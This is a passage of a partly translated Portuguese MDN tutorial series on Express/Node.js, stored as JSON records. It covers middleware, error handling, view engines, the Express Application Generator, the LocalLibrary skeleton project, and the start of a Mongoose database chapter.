nó:\n\n\n```js\napp.use(express.static(\"public\"));\n```\n\n\nTodos os arquivos no diretório público são atendidos adicionando o nome do arquivo (relativo ao diretório \"público\" base) ao URL base. Então, por exemplo:\n```\n\nhttp://localhost:3000/images/dog.jpg\nhttp://localhost:3000/css/style.css\nhttp://localhost:3000/js/app.js\nhttp://localhost:3000/about.html\n```\n\n\nVocê pode chamar `static()` várias vezes para atender vários diretórios. Se um arquivo não puder ser encontrado por uma função de middleware, ele simplesmente será transmitido ao middleware subsequente (a ordem em que o middleware é chamado é baseada em sua ordem de declaração).\n\n\n```js\napp.use(express.static(\"public\"));\napp.use(express.static(\"media\"));\n```\n\n\nVocê também pode criar um prefixo virtual para seus URL estáticos, em vez de ter os arquivos adicionados ao URL base. Por exemplo, aqui especificamos um caminho de montagem para que os arquivos sejam carregados com o prefixo \"/media\":\n\n\n```js\napp.use(\"/media\", express.static(\"public\"));\n```\n\n\nAgora, você pode carregar os arquivos que estão no diretório `public` a partir do prefixo de caminho `/media`.\n```\n\nhttp://localhost:3000/media/images/dog.jpg\nhttp://localhost:3000/media/video/cat.mp4\nhttp://localhost:3000/media/cry.mp3\n```\n\n\nPara obter mais informações, consulte Servindo arquivos estáticos no Express.\n\n### Erros de manipulação\n\nOs erros são tratados por uma ou mais funções de middleware especiais que possuem quatro argumentos, em vez dos três habituais: `(err, req, res, next)`. Por exemplo:\n\n\n```js\napp.use(function (err, req, res, next) {\n  console.error(err.stack);\n  res.status(500).send(\"Something broke!\");\n});\n```\n\n\nIsso pode retornar qualquer conteúdo exigido, mas deve ser chamado depois de todas as outras chamadas `app.use()` e rotas para que sejam o último middleware no processo de solicitação de pedidos!\n\nExpress vem com um manipulador de erros embutido, que cuida de todos os erros que podem ser encontrados no aplicativo. Essa função de middleware de gerenciamento de erros padrão é adicionada no final da pilha de funções do middleware. Se você passar um erro para `next()` e você não lidar com isso em um manipulador de erro, ele será tratado pelo manipulador de erros incorporado; o erro será gravado no cliente com o rastreamento da pilha.\n\n**Nota:** O rastreamento da pilha não está incluído no ambiente de produção. Para executá-lo no modo de produção, você precisa configurar a variável de ambiente `NODE_ENV` para `'production'`.\n\n**Nota:** HTTP404 e outros códigos de status de \"erro\" não são tratados como erros. Se você quiser lidar com isso, você pode adicionar uma função de middleware para fazê-lo. Para mais informações, consulte as FAQ.\n\nPara obter mais informações, consulte Gerenciamento de erros (Express docs).\n\n### Usando Banco de Dados\n\nAplicativos Express podem usar qualquer mecanismo de banco de dados suportado pelo Node (o Express em si não define nenhum comportamento/requisitos adicionais específicos para gerenciamento de banco de dados). Existem muitas opções, incluindo PostgreSQL, MySQL, Redis, SQLite, MongoDB, etc.\n\nPara usá-los, você deve primeiro instalar o driver do banco de dados usando NPM. Por exemplo, para instalar o driver para o popular NoSQL MongoDB você usaria o comando:\n\n\n```bash\nnpm install mongodb\n```\n\n\nO próprio banco de dados pode ser instalado localmente ou em um servidor em nuvem. No seu código Express, você precisa do driver, conecte-se ao banco de dados e execute as operações criar, ler, atualizar e excluir (CRUD). O exemplo abaixo (da documentação Express) mostra como você pode encontrar registros de \"mamíferos\" usando MongoDB.\n\n\n```js\nvar MongoClient = require(\"mongodb\").MongoClient;\n\nMongoClient.connect(\"mongodb://localhost:27017/animals\", function (err, db) {\n  if (err) throw err;\n\n  db.collection(\"mammals\")\n    .find()\n    .toArray(function (err, result) {\n      if (err) throw err;\n\n      console.log(result);\n    });\n});\n```\n\n\nOutra abordagem popular é acessar seu banco de dados indiretamente, através de um Object Relational Mapper (\"ORM\"). Nesta abordagem, você define seus dados como \"objetos\" ou \"modelos\" e o ORM mapeia estes para o formato de banco de dados subjacente. Esta abordagem tem o benefício de que, como desenvolvedor, você pode continuar a pensar em termos de objetos JavaScript, em vez de semântica de banco de dados, e que existe um local óbvio para realizar a validação e verificação de dados recebidos. Falaremos mais sobre bancos de dados em um artigo posterior.\n\nPara obter mais informações, consulte integração com banco de dados (documentos express).\n\n### Renderizando dados (views)\n\nOs mecanismos de modelo (referidos como \"view engines\" por Express) permitem que você especifique a estrutura de um documento de saída em um modelo, usando marcadores de posição para os dados que serão preenchidos quando uma página for gerada. Os modelos geralmente são usados para criar HTML, mas também podem criar outros tipos de documentos. Express tem suporte para uma série de mecanismos de modelos, e há uma comparação útil dos motores mais populares aqui: Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More.\n\nNo seu código de configurações do aplicativo você configurou o mecanismo do modelo para usar e o local onde Express deve procurar modelos usando as configurações 'visualizações' e 'visualizar mecanismos', conforme mostrado abaixo (você também terá que instalar o pacote que contém a biblioteca do modelo também !)\n\n\n```js\nvar express = require(\"express\");\nvar app = express();\n\n// Definir o diretório para conter os modelos ('views')\napp.set(\"views\", path.join(__dirname, \"views\"));\n\n// Definir o motor de visualização para usar, neste caso 'some\\_template\\_engine\\_name'\napp.set(\"view engine\", \"some\\_template\\_engine\\_name\");\n```\n\n\nA aparência do modelo dependerá do mecanismo que você usa. Supondo que você tenha um arquivo de modelo chamado \"índice. <Template\\_extension>\" que contenha espaços reservados para variáveis de dados denominadas 'título' e 'mensagem', você chamaria `Response.render()` em uma função de roteador de rotas para criar e enviar a resposta HTML :\n\n\n```js\napp.get(\"/\", function (req, res) {\n  res.render(\"index\", { title: \"About dogs\", message: \"Dogs rock!\" });\n});\n```\n\n\nPara obter mais informações, consulte usando motores de modelo com Express (Express docs).\n\n### Estrutura de Arquivos\n\nExpress não faz suposições em termos de estrutura ou quais os componentes que você usa. Rotas, visualizações, arquivos estáticos e outra lógica específica da aplicação podem viver em qualquer número de arquivos com qualquer estrutura de diretório. Embora seja perfeitamente possível ter todo o aplicativo Express em um único arquivo, geralmente faz sentido dividir seu aplicativo em arquivos com base em função (por exemplo, gerenciamento de contas, blogs, fóruns de discussão) e domínio de problema arquitetônico (por exemplo, modelo, exibição ou controlador se você está usando uma arquitetura MVC).\n\nEm um tópico posterior, usaremos o Express Application Generator, que cria um esqueleto de aplicativo modular que podemos estender facilmente para criar aplicativos da web.\n\nSumário\n-------\n\nParabéns, você completou o primeiro passo em sua viagem Express/Node! Agora você deve entender os principais benefícios do Express e Node, e aproximadamente o que as principais partes de um aplicativo Express podem ser (rotas, middleware, tratamento de erros e código de modelo). Por ser um framework não opinativo, o Express permite que você defina a maneira como essas partes e essas bibliotecas são integradas.\n\nClaro que Express é deliberadamente uma estrutura de aplicativos web muito leve, tanto seu benefício e potencial vem de bibliotecas e recursos de terceiros. Examinaremos essa questão com mais detalhes nos próximos artigos. No artigo a seguir, vamos analisar a criação de um ambiente de desenvolvimento de Node, para que você possa começar a ver algum código Express em ação.\n\nVeja também\n-----------\n\n* Venkat.R - Manage Multiple Node versions\n* Modules (Node API docs)\n* Express (home page)\n* Basic routing (Express docs)\n* Routing guide (Express docs)\n* Using template engines with Express (Express docs)\n* Using middleware (Express docs)\n* Writing middleware for use in Express apps (Express docs)\n* Database integration (Express docs)\n* Serving static files in Express (Express docs)\n* Error handling (Express docs)\n* Menu: Express Nodejs\n* Próxima\nPróximos módulos\n----------------\n\n* Introdução Express/Node - Módulo Atual\n* Configurando um ambiente de desenvolvimento Node (Express)\n* Express Tutorial: The Local Library website\n* Express Tutorial Part 2: Criando um esqueleto de website\n* Express Tutorial Part 3: Utilizando Banco de Dados (com Mongoose)\n* Express Tutorial Part 4: Rotas e Controladores (en-US)\n* Express Tutorial Part 5: Displaying library data (en-US)\n* Express Tutorial Part 6: Trabalhando com formulários (en-US)\n* Express Tutorial Part 7: Deploying to production (en-US)"}
{"title":"Express Tutorial Parte 2: Criando a estrutura do website - Aprendendo desenvolvimento web","text":"Express Tutorial Parte 2: Criando a estrutura do website\n========================================================\n\n* Anterior\n* Menu: Express Nodejs\n* Próxima\n\nNeste segundo Tutorial Express, mostrará como criar a estrutura do website que depois você poderá colocar *templates,* chamadas de banco de dados ou rotas específicas.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Preparar o ambiente de desenvolvimento do Node . Revise o Tutorial Express. |\n| Objetivo: | Iniciar nosso website usando o \"*Express Application Generator\"*. |\n\nVisão Geral\n-----------\n\nNesse artigo mostraremos como criar a estrutura do website usando a ferramenta \"Express Application Generator \". Neste caso, usaremos a ferramenta para criar o framework para nosso website \"LocalLibrary\", para o qual adicionaremos mais tarde todo o outro código necessário para o site. O processo é extremamente simples, com apenas a requisição de invocar o \"Generator\" na linha de comando com um novo nome de projeto, e, se quiser, especificar o *template* do site e o gerador de CSS.\n\nAs seguintes sessões mostrará como chamar o \"Application Generator\", e prover uma pequena explicação sobre as diferentes opções de CSS. Também aprenderemos como a estrutura do site é definida. No final, será mostrado como podemos rodar o site para ver se funciona.\n\n**Nota:** **Nota**: O \"*Express Application Generator\"* não é o único gerador para as aplicações do Express, e o projeto gerado não é a única maneira viável de estruturar seus arquivos e diretórios. O site gerado, entretanto, tem uma estrutura modular que é fácil de extender e ser entendida. Para aprender melhor sobre a aplicação do \"*minimal* Express\", veja Exemplo\"Hello world\".\n\nUsando o \"Application Generator\"\n--------------------------------\n\nVocê já deve ter instalado o gerador como requisito. Como um lembrete rápido, você instala a ferramenta de gerador em todo o site usando o Gerenciador de pacotes NPM, como mostrado:\n\n\n```bash\nnpm install express-generator -g\n```\n\n\nO gerador tem algumas opções que podem ser visualizadas usando o comando `--help` (or `-h`):\n\n\n```bash\n> express --help\n\n    Usage: express [options] [dir]\n\n  Options:\n\n        --version        output the version number\n    -e, --ejs            add ejs engine support\n        --pug            add pug engine support\n        --hbs            add handlebars engine support\n    -H, --hogan          add hogan.js engine support\n    -v, --view <engine>  add view <engine> support (dust|ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade)\n        --no-view        use static html instead of view engine\n    -c, --css <engine>   add stylesheet <engine> support (less|stylus|compass|sass) (defaults to plain css)\n        --git            add .gitignore\n    -f, --force          force on non-empty directory\n    -h, --help           output usage information\n```\n\n\nVocê pode simplesmente especificar `express` para criar um projeto dentro do diretório atual usando *Jade* view e CSS simples (se você especificar um nome de diretório, o projeto será criado em uma subpasta com esse nome).\n\n\n```bash\nexpress\n```\n\n\nTambém pode ser escolhido um \"view\" (*template)* usando`--view` e/ou um gerador de CSS usando `--css`.\n\n**Nota:** As outras opções para escolher os mecanismos de modelo (e.g. `--hogan`, `--ejs`, `--hbs` etc.) são preteridas. Use `--view` (ou `-v`)!\n\n### Qual *engine* de \"view\" devo usar?\n\nO *Express Application Generator* permite que você configure vários mecanismos populares de exibição/modelagem, incluindo EJS, Hbs, Pug (Jade), Twig, e Vash, embora escolha Jade por padrão se você não especificar uma opção de visualização. O próprio Express também pode suportar um grande número de outras linguagens de modelagem out of the box.\n\n**Nota:** Se você deseja usar um mecanismo de modelo que não é suportado pelo gerador, consulte Usando mecanismos de modelo com o Express (Express docs) e a documentação para seu mecanismo de exibição de destino.\n\nDe um modo geral, você deve selecionar um mecanismo de modelagem que forneça todas as funcionalidades de que você precisa e permita que você seja mais produtivo - ou em outras palavras, da mesma forma que você escolhe qualquer outro componente! Algumas das coisas a considerar ao comparar mecanismos de modelo:\n\n* Tempo para produtividade — Se sua equipe já tiver experiência com uma linguagem de modelagem, é provável que eles sejam produtivos mais rapidamente usando essa linguagem. Caso contrário, você deve considerar a curva de aprendizado relativa para mecanismos de modelagem candidatos.\n* Popularidade e atividade — Revise a popularidade do mecanismo e se ele possui uma comunidade ativa. É importante poder obter suporte para o mecanismo quando você tiver problemas durante a vida útil do site.\n* Style — Alguns mecanismos de modelo usam marcação específica para indicar o conteúdo inserido no HTML \"comum\", enquanto outros constroem o HTML usando uma sintaxe diferente (por exemplo, usando recuo e nomes de bloco).\n* Performance/rendering time.\n* Features — você deve considerar se os mecanismos que você procura têm os seguintes recursos disponíveis:\n    + Layout inheritance: Allows you to define a base template and then \"inherit\" just the parts of it that you want to be different for a particular page. This is typically a better approach than building templates by including a number of required components or building a template from scratch each time.\n    + \"Include\" support: Allows you to build up templates by including other templates.\n    + Concise variable and loop control syntax.\n    + Ability to filter variable values at template level (e.g. making variables upper-case, or formatting a date value).\n    + Ability to generate output formats other than HTML (e.g. JSON or XML).\n    + Support for asynchronous operations and streaming.\n    + Can be used on the client as well as the server. If a templating engine can be used on the client this allows the possibility of serving data and having all or most of the rendering done client-side.\n\n**Nota:** **Tip:** Existem muitos recursos na Internet para ajudá-lo a comparar as diferentes opções!\n\nPara este projeto, usaremos o Pug mecanismo de modelagem (este é o mecanismo Jade que foi renomeado recentemente), pois esta é uma das linguagens de modelagem Express/JavaScript mais populares e é suportada imediatamente pelo gerador.\n\n### What CSS stylesheet engine should I use?\n\nThe *Express Application Generator* allows you to create a project that is configured to use the most common CSS stylesheet engines: LESS, SASS, Compass, Stylus.\n\n> \n> \\*\\*Nota:\\*\\*CSS has some limitations that make certain tasks difficult. CSS stylesheet engines allow you to use more powerful syntax for defining your CSS and then compile the definition into plain-old CSS for browsers to use.\n> \n> \n> \n\nAssim como nos mecanismos de modelagem, você deve usar o mecanismo de folha de estilo que permitirá que sua equipe seja mais produtiva. Para este projeto, usaremos o CSS comum (o padrão), pois nossos requisitos de CSS não são suficientemente complicados para justificar o uso de qualquer outra coisa.\n\n### What database should I use?\n\nThe generated code doesn't use/include any databases. *Express* apps can use any database mechanism supported by *Node* (*Express* itself doesn't define any specific additional behavior/requirements for database management).\n\nWe'll discuss how to integrate with a database in a later article.\n\nCreating the project\n--------------------\n\nFor the sample *Local Library* app we're going to build, we'll create a project named *express-locallibrary-tutorial* using the *Pug* template library and no CSS stylesheet engine.\n\nPrimeiro, navegue até onde deseja criar o projeto e, em seguida, execute o Express Application Generator no prompt de comando, conforme mostrado:\n\n\n```bash\nexpress express-locallibrary-tutorial --view=pug\n```\n\n\nThe generator will create (and list) the project's files.\n\n\n```bash\n   create : express-locallibrary-tutorial\\\n   create : express-locallibrary-tutorial\\public\\\n   create : express-locallibrary-tutorial\\public\\javascripts\\\n   create : express-locallibrary-tutorial\\public\\images\\\n   create : express-locallibrary-tutorial\\public\\stylesheets\\\n   create : express-locallibrary-tutorial\\public\\stylesheets\\style.css\n   create : express-locallibrary-tutorial\\routes\\\n   create : express-locallibrary-tutorial\\routes\\index.js\n   create : express-locallibrary-tutorial\\routes\\users.js\n   create : express-locallibrary-tutorial\\views\\\n   create : express-locallibrary-tutorial\\views\\error.pug\n   create : express-locallibrary-tutorial\\views\\index.pug\n   create : express-locallibrary-tutorial\\views\\layout.pug\n   create : express-locallibrary-tutorial\\app.js\n   create : express-locallibrary-tutorial\\package.json\n   create : express-locallibrary-tutorial\\bin\\\n   create : express-locallibrary-tutorial\\bin\\www\n\n   change directory:\n     > cd express-locallibrary-tutorial\n\n   install dependencies:\n     > npm install\n\n   run the app:\n     > SET DEBUG=express-locallibrary-tutorial:* & npm start\n```\n\n\nAt the end of the output, the generator provides instructions on how you install the dependencies (as listed in the **package.json** file) and then how to run the application (the instructions above are for Windows; on Linux/macOS they will be slightly different).\n\n**Nota:** When using Windows, the && and & assumes you are using the Command Prompt. If you are using the new default PowerShell terminal do not concatenate the commands with && and &. Instead set the DEBUG environment variable with $ENV:DEBUG = \"express-locallibrary-tutorial:\\*\";. The npm start can be followed by the npm start.\n\nRunning the skeleton website\n----------------------------\n\nAt this point, we have a complete skeleton project. The website doesn't actually *do* very much yet, but it's worth running it to show how it works.\n\n1. First, install the dependencies (the `install` command will fetch all the dependency packages listed in the project's **package.json** file).\n\n```bash\ncd express-locallibrary-tutorial\nnpm install\n```\n\n2. Then run the application.\n    * On Windows, use this command:\n     bash\n    ```bash\n    SET DEBUG=express-locallibrary-tutorial:* & npm start\n    \n    ```\n    * On macOS or Linux, use this command:\n     bash\n    ```bash\n    DEBUG=express-locallibrary-tutorial:* npm start\n    \n    ```\n3. Then load `http://localhost:3000/` in your browser to access the app.\n\nYou should see a browser page that looks like this:\n\n![Browser for default Express app generator website](/pt-BR/docs/Learn/Server-side/Express_Nodejs/skeleton_website/expressgeneratorskeletonwebsite.png)\n\nYou have a working Express application, serving itself to *localhost:3000*.\n\n**Nota:** You could also start the app just using the `npm start` command. Specifying the DEBUG variable as shown enables console logging/debugging. For example, when you visit the above page you'll see debug output like this:\n\n\n```bash\n>SET DEBUG=express-locallibrary-tutorial:* & npm start\n\n> express-locallibrary-tutorial@0.0.0 start D:\\github\\mdn\\test\\exprgen\\express-locallibrary-tutorial\n> node ./bin/www\n\n  express-locallibrary-tutorial:server Listening on port 3000 +0ms\nGET / 304 490.296 ms - -\nGET /stylesheets/style.css 200 4.886 ms - 111\n```\n\n\nEnable server restart on file changes\n-------------------------------------\n\nAny changes you make to your Express website are currently not visible until you restart the server. It quickly becomes very irritating to have to stop and restart your server every time you make a change, so it is worth taking the time to automate restarting the server when needed.\n\nOne of the easiest such tools for this purpose is nodemon. This is usually installed globally (as it is a \"tool\"), but here we'll install and use it locally as a *developer dependency*, so that any developers working with the project get it automatically when they install the application. Use the following command in the root directory for the skeleton project:\n\n\n```bash\nnpm install --save-dev nodemon\n```\n\n\nIf you still choose to install nodemon globally to your machine, and not only to your project's **package.json** file:\n\n\n```bash\nnpm install -g nodemon\n```\n\n\nIf you open your project's **package.json** file you'll now see a new section with this dependency:\n\n\n```json\n \"devDependencies\": {\n    \"nodemon\": \"^1.18.10\"\n}\n```\n\n\nBecause the tool isn't installed globally we can't launch it from the command line (unless we add it to the path) but we can call it from an NPM script because NPM knows all about the installed packages. Find the the `scripts` section of your package.json. Initially, it will contain one line, which begins with `\"start\"`. Update it by putting a comma at the end of that line, and adding the `\"devstart\"` line seen below:\n\n\n```json\n  \"scripts\": {\n    \"start\": \"node ./bin/www\",\n    \"devstart\": \"nodemon ./bin/www\"\n  },\n```\n\n\nWe can now start the server in almost exactly the same way as previously, but with the `devstart` command specified:\n\n* On Windows, use this command:\n\n```bash\nSET DEBUG=express-locallibrary-tutorial:* & npm run devstart\n```\n\n* On macOS or Linux, use this command:\n\n```bash\nDEBUG=express-locallibrary-tutorial:* npm run devstart\n```\n\n\n**Nota:** Now if you edit any file in the project the server will restart (or you can restart it by typing `rs` on the command prompt at any time). You will still need to reload the browser to refresh the page.\n\nWe now have to call \"`npm run <scriptname>`\" rather than just `npm start`, because \"start\" is actually an NPM command that is mapped to the named script. We could have replaced the command in the *start* script but we only want to use *nodemon* during development, so it makes sense to create a new script command.\n\nThe generated project\n---------------------\n\nLet's now take a look at the project we just created.\n\n### Directory structure\n\nThe generated project, now that you have installed dependencies, has the following file structure (files are the items **not** prefixed with \"/\"). The **package.json** file defines the application dependencies and other information. It also defines a startup script that will call the application entry point, the JavaScript file **/bin/www**. This sets up some of the application error handling and then loads **app.js** to do the rest of the work. The app routes are stored in separate modules under the **routes/** directory. The templates are stored under the /**views** directory.\n```\n\n/express-locallibrary-tutorial\n    app.js\n    /bin\n        www\n    package.json\n    package-lock.json\n    /node_modules\n        [about 6700 subdirectories and files]\n    /public\n        /images\n        /javascripts\n        /stylesheets\n            style.css\n    /routes\n        index.js\n        users.js\n    /views\n        error.pug\n        index.pug\n        layout.pug\n```\n\n\nThe following sections describe the files in a little more detail.\n\n### package.json\n\nThe **package.json** file defines the application dependencies and other information:\n\n\n```json\n{\n  \"name\": \"express-locallibrary-tutorial\",\n  \"version\": \"0.0.0\",\n  \"private\": true,\n  \"scripts\": {\n    \"start\": \"node ./bin/www\",\n    \"devstart\": \"nodemon ./bin/www\"\n  },\n  \"dependencies\": {\n    \"cookie-parser\": \"~1.4.3\",\n    \"debug\": \"~2.6.9\",\n    \"express\": \"~4.16.0\",\n    \"http-errors\": \"~1.6.2\",\n    \"morgan\": \"~1.9.0\",\n    \"pug\": \"2.0.0-beta11\"\n  },\n  \"devDependencies\": {\n    \"nodemon\": \"^1.18.10\"\n  }\n}\n```\n\n\nThe dependencies include the *express* package and the package for our selected view engine (*pug*). In addition, we have the following packages that are useful in many web applications:\n\n* cookie-parser: Used to parse the cookie header and populate `req.cookies` (essentially provides a convenient method for accessing cookie information).\n* debug: A tiny node debugging utility modeled after node core's debugging technique.\n* morgan: An HTTP request logger middleware for node.\n* http-errors: Create HTTP errors where needed (for express error handling).\n\nThe scripts section defines a \"*start*\" script, which is what we are invoking when we call `npm start` to start the server. From the script definition, you can see that this actually starts the JavaScript file **./bin/www** with *node*. It also defines a \"*devstart*\" script, which we invoke when calling `npm run devstart` instead. This starts the same **./bin/www** file, but with *nodemon* rather than *node*.\n\n\n```json\n  \"scripts\": {\n    \"start\": \"node ./bin/www\",\n    \"devstart\": \"nodemon ./bin/www\"\n  },\n```\n\n### www file\n\nThe file **/bin/www** is the application entry point! The very first thing this does is `require()` the \"real\" application entry point (**app.js**, in the project root) that sets up and returns the `express()` application object.\n\n\n```js\n#!/usr/bin/env node\n\n/\\*\\*\n \\* Module dependencies.\n \\*/\n\nvar app = require(\"../app\");\n```\n\n\n**Nota:** `require()` is a global node function that is used to import modules into the current file. Here we specify **app.js** module using a relative path and omitting the optional (.**js**) file extension.\n\nThe remainder of the code in this file sets up a node HTTP server with `app` set to a specific port (defined in an environment variable or 3000 if the variable isn't defined), and starts listening and reporting server errors and connections. For now you don't really need to know anything else about the code (everything in this file is \"boilerplate\"), but feel free to review it if you're interested.\n\n### app.js\n\nThis file creates an `express` application object (named `app`, by convention), sets up the application with various settings and middleware, and then exports the app from the module. The code below shows just the parts of the file that create and export the app object:\n\n\n```js\nvar express = require('express');\nvar app = express();\n...\nmodule.exports = app;\n```\n\n\nBack in the **www** entry point file above, it is this `module.exports` object that is supplied to the caller when this file is imported.\n\nLet's work through the **app.js** file in detail. First, we import some useful node libraries into the file using `require()`, including http-errors, *express*, *morgan* and *cookie-parser* that we previously downloaded for our application using NPM; and *path*, which is a core Node library for parsing file and directory paths.\n\n\n```js\nvar createError = require(\"http-errors\");\nvar express = require(\"express\");\nvar path = require(\"path\");\nvar cookieParser = require(\"cookie-parser\");\nvar logger = require(\"morgan\");\n```\n\n\nThen we `require()` modules from our routes directory. These modules/files contain code for handling particular sets of related \"routes\" (URL paths). When we extend the skeleton application, for example to list all books in the library, we will add a new file for dealing with book-related routes.\n\n\n```js\nvar indexRouter = require(\"./routes/index\");\nvar usersRouter = require(\"./routes/users\");\n```\n\n\n**Nota:** At this point, we have just *imported* the module; we haven't actually used its routes yet (this happens just a little bit further down the file).\n\nNext, we create the `app` object using our imported *express* module, and then use it to set up the view (template) engine. There are two parts to setting up the engine. First, we set the '`views`' value to specify the folder where the templates will be stored (in this case the subfolder **/views**). Then we set the '`view engine`' value to specify the template library (in this case \"pug\").\n\n\n```js\nvar app = express();\n\n// view engine setup\napp.set(\"views\", path.join(__dirname, \"views\"));\napp.set(\"view engine\", \"pug\");\n```\n\n\nThe next set of functions call `app.use()` to add the *middleware* libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the `express.static` middleware to get *Express* to serve all the static files in the **/public** directory in the project root.\n\n\n```js\napp.use(logger(\"dev\"));\napp.use(express.json());\napp.use(express.urlencoded({ extended: false }));\napp.use(cookieParser());\napp.use(express.static(path.join(__dirname, \"public\")));\n```\n\n\nNow that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different *parts* of the site:\n\n\n```js\napp.use(\"/\", indexRouter);\napp.use(\"/users\", usersRouter);\n```\n\n\n**Nota:** The paths specified above ('/' and '`/users'`) are treated as a prefix to routes defined in the imported files. So for example, if the imported **users** module defines a route for `/profile`, you would access that route at `/users/profile`. We'll talk more about routes in a later article.\n\nThe last middleware in the file adds handler methods for errors and HTTP 404 responses.\n\n\n```js\n// catch 404 and forward to error handler\napp.use(function (req, res, next) {\n  next(createError(404));\n});\n\n// error handler\napp.use(function (err, req, res, next) {\n  // set locals, only providing error in development\n  res.locals.message = err.message;\n  res.locals.error = req.app.get(\"env\") === \"development\" ? err : {};\n\n  // render the error page\n  res.status(err.status || 500);\n  res.render(\"error\");\n});\n```\n\n\nThe Express application object (app) is now fully configured. The last step is to add it to the module exports (this is what allows it to be imported by **/bin/www**).\n\n\n```js\nmodule.exports = app;\n```\n\n### Routes\n\nThe route file **/routes/users.js** is shown below (route files share a similar structure, so we don't need to also show **index.js**). First, it loads the *express* module and uses it to get an `express.Router` object. Then it specifies a route on that object and lastly exports the router from the module (this is what allows the file to be imported into **app.js**).\n\n\n```js\nvar express = require(\"express\");\nvar router = express.Router();\n\n/\\* GET users listing. \\*/\nrouter.get(\"/\", function (req, res, next) {\n  res.send(\"respond with a resource\");\n});\n\nmodule.exports = router;\n```\n\n\nThe route defines a callback that will be invoked whenever an HTTP `GET` request with the correct pattern is detected. The matching pattern is the route specified when the module is imported ('`/users`') plus whatever is defined in this file ('`/`'). In other words, this route will be used when an URL of `/users/` is received.\n\n**Nota:** **Tip:** Try this out by running the server with node and visiting the URL in your browser: `http://localhost:3000/users/`. You should see a message: 'respond with a resource'.\n\nOne thing of interest above is that the callback function has the third argument '`next`', and is hence a middleware function rather than a simple route callback. While the code doesn't currently use the `next` argument, it may be useful in the future if you want to add multiple route handlers to the `'/'` route path.\n\n### Views (templates)\n\nThe views (templates) are stored in the **/views** directory (as specified in **app.js**) and are given the file extension **.pug**. The method `Response.render()` is used to render a specified template along with the values of named variables passed in an object, and then send the result as a response. In the code below from **/routes/index.js** you can see how that route renders a response using the template \"index\" passing the template variable \"title\".\n\n\n```js\n/\\* GET home page. \\*/\nrouter.get(\"/\", function (req, res, next) {\n  res.render(\"index\", { title: \"Express\" });\n});\n```\n\n\nThe corresponding template for the above route is given below (**index.pug**). We'll talk more about the syntax later. All you need to know for now is that the `title` variable (with value `'Express'`) is inserted where specified in the template.\n```\n\nextends layout\n\nblock content\n  h1= title\n  p Welcome to #{title}\n```\n\nChallenge yourself\n------------------\n\nCreate a new route in **/routes/users.js** that will display the text \"*You're so cool\"* at URL `/users/cool/`. Test it by running the server and visiting `http://localhost:3000/users/cool/` in your browser\n\nSummary\n-------\n\nYou have now created a skeleton website project for the Local Library and verified that it runs using *node*. Most importantly, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.\n\nNext, we'll start modifying the skeleton so that it works as a library website.\n\nSee also\n--------\n\n* Express application generator (Express docs)\n* Using template engines with Express (Express docs)\n* Anterior\n* Menu: Express Nodejs\n* Próxima"}
{"title":"Tutorial Express Parte 3: Usando um banco de dados (com Mongoose) - Aprendendo desenvolvimento web","text":"Tutorial Express Parte 3: Usando um banco de dados (com Mongoose)\n=================================================================\n\n* Anterior\n* Menu: Express Nodejs\n* Próxima  (en-US)\n\nEste artigo introduz brevemente bancos de dados e como usá-los com aplicativos Node/Express. Depois demonstra como podemos usar o Mongoose para prover acesso ao banco de dados para o website LocalLibrary. Explica como object schema e modelos são declarados, os principais tipos de campos e validações básicas. Também demonstra brevemente algumas das muitas maneiras em que se pode acessar os dados do modelo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | Tutorial Express Parte 2: Criando o esqueleto de um website |\n| Objetivo: | Ser capaz de projetar e criar seus próprios modelos usando Mongoose. |\n\nVisão geral\n-----------\n\nA equipe da biblioteca usará o site da Biblioteca Local para gardar informações sobre livros e empréstimos, enquanto os membros da biblioteca irão utilizá-lo para navegar e pesquisar por livros, descobrir se há alguma cópia disponível, e então reservar ou emprestar eles. Para armazenar e obter informações eficientemente, nós guardaremos elas em um *banco de dados*.\n\nAplicativos *Express* podem usar muitos bancos de dados diferentes, e existem várias abordagens que você pode usar para fazer operações de Criar, Ler, Atualizar e Apagar (CRUD, na sigla em inglês). Esse tutorial provê uma curta visão geral de algumas das opções disponíveis e então irá mostrar em detalhes os mecanismos particulares selecionados.\n\n### Quais bancos de dados eu posso usar?\n\nAplicativos *Express* podem usar qualquer banco de dados suportado pelo *Node* (O *Express* por si só não define nenhum requerimento ou comportamento adicional específico para gerenciamento de bancos de dados). Há muitas opções populares, incluindo PostgreSQL, MySQL, Redis, SQLite, and MongoDB.\n\nQuando escolher um banco de dados, você deveria considerar coisas como o tempo-para-produtividade/curva de aprendizado, performance, facilidade de replicação/backup, custo, suporte da comunidade, etc. Enquanto não existe o \"melhor\" banco de dados, praticamente qualquer uma das soluções populares devem ser mais do que aceitáveis para um site de tamanho pequeno a médio como o da nossa Biblioteca Local.\n\nPara mais informações sobre as opções veja Integração com o Banco de dados (documentação do Express).\n\n### Qual o melhor jeito de interagir com um banco de dados?\n\nThere are two approaches for interacting with a database:\n\n* Using the databases' native query language (e.g. SQL)\n* Using an Object Data Model (\"ODM\") / Object Relational Model (\"ORM\"). An ODM/ORM represents the website's data as JavaScript objects, which are then mapped to the underlying database. Some ORMs are tied to a specific database, while others provide a database-agnostic backend.\n\nThe very best *performance* can be gained by using SQL, or whatever query language is supported by the database. ODM's are often slower because they use translation code to map between objects and the database format, which may not use the most efficient database queries (this is particularly true if the ODM supports different database backends, and must make greater compromises in terms of what database features are supported).\n\nThe benefit of using an ORM is that programmers can continue to think in terms of JavaScript objects rather than database semantics — this is particularly true if you need to work with different databases (on either the same or different websites). They also provide an obvious place to perform validation and checking of data.\n\n**Nota:** **Tip:** Using ODM/ORMs often results in lower costs for development and maintenance! Unless you're very familiar with the native query language or performance is paramount, you should strongly consider using an ODM.\n\n### Qual ORM/ODM eu devo usar?\n\nThere are many ODM/ORM solutions available on the NPM package manager site (check out the odm and orm tags for a subset!).\n\nA few solutions that were popular at the time of writing are:\n\n* Mongoose: Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n* Waterline: An ORM extracted from the Express-based Sails web framework. It provides a uniform API for accessing numerous different databases, including Redis, MySQL, LDAP, MongoDB, and Postgres.\n* Bookshelf: Features both promise-based and traditional callback interfaces, providing transaction support, eager/nested-eager relation loading, polymorphic associations, and support for one-to-one, one-to-many, and many-to-many relations. Works with PostgreSQL, MySQL, and SQLite3.\n* 